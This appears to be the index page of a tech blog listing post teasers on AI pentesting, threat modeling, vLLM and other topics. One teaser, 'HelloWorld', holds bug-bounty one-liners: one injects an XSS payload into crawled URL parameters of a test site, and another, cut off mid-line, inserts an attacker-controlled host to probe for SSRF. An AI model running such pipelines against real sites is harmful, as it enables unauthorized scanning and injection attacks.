Blogs

XBOW and the Rise of Autonomous AI Pentesting

In June 2025, something unprecedented happened in the cybersecurity world: an AI system reached the number one spot on HackerOne’s global leaderboard, outperforming thousands of human hackers.

Open Source AI Pentesting Tools: Building Your Autonomous Security Arsenal

While commercial platforms like XBOW make headlines, a vibrant ecosystem of open-source AI pentesting tools has emerged.

Reinforcement Learning with Verifiable Rewards: A New Paradigm for Security AI

In 2025, Reinforcement Learning from Verifiable Rewards (RLVR) emerged as the de facto new major stage in LLM training.

A Privacy-First Email Guardian: Building Your Personal Spam Defender

How many times have you clicked “Find messages like this” in Gmail, hoping to clean your inbox from that one persistent marketing campaign?

vLLM Production Stack: Succeed on Kubernetes

Introduction The vLLM Production Stack is a new open-source reference implementation that extends the vLLM project into production settings.

Voice Coding: Let Your Words Write Your Code

Ever dreamed of coding by simply talking to your computer like a modern-day wizard? While Cursor may not have a built-in microphone (sorry, no built-in wizardry here), our trusty sidekick SuperWhisper swoops in to convert your brilliant verbal commands into text.

Welcome to Digitowl's Tech Insights

Welcome to Digitowl’s Tech Insights blog! Here, we’ll be sharing our knowledge and expertise about cybersecurity, artificial intelligence, and emerging technologies that are shaping our digital future.

GPTMeetsStride

The Idea: Integrating Python Libraries for Advanced Threat Modeling with STRIDE GPT “Enhancing Threat Modeling with Python: Leveraging STRIDE GPT Integration” Explore the seamless integration of Python libraries like PyPDF2, Presidio Analyzer, and Langchain Core with STRIDE GPT for advanced threat modeling.

owls

AI - GENAI - ML - stuff to be read: https://github.com/cckuailong/awesome-gpt-security https://bit.ly/3WNRS9d http://bit.ly/3EsyEQ8 https://bit.ly/4aRH6EK

OldFashioned

The Art of the Old Fashioned The Old Fashioned, often touted as the archetypal cocktail, is steeped in history and tradition.

HelloWorld

Let’s see how this works. Notes. ~%$: echo testphp.vulnweb.com | httpx -silent | hakrawler -subs | grep "=" | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not' How about an ssrf one: ~%$: findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.

The Future of Threat Modeling: Leveraging Generative AI

Introduction Imagine a world where your threat modeling team could instantaneously predict an attacker’s next move, devise swift countermeasures, and learn adaptively from new vulnerabilities.

Coming Soon.